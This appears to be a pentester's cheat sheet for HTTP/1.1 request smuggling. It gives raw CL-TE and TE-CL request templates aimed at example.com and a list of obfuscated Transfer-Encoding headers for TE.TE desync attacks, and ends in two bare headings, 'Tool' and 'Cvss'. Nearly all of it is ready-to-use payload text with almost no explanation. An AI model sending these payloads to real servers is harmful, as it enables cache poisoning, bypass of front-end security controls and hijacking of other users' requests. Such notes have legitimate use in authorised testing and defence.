Request Smuggling HTTP 1.1

CL-TE

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n\
\r\n
0\r\n
\r\n
GPOST / HTTP/1.1\r\n
Host: example.com\r\n

TE-CL

POST / HTTP/1.1\r\n 
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 6\r\n
\r\n
0\r\n
\r\n
X\r\n

TE.TE behavior: obfuscating the TE header

Transfer-Encoding: xchunked 
Transfer-Encoding : chunked 
Transfer-Encoding: chunked 
Transfer-Encoding: x Transfer-Encoding:[tab]chunked 
[space]Transfer-Encoding: chunked 
X: X[\n]Transfer-Encoding: chunked 
Transfer-Encoding : chunked

Tool

Cvss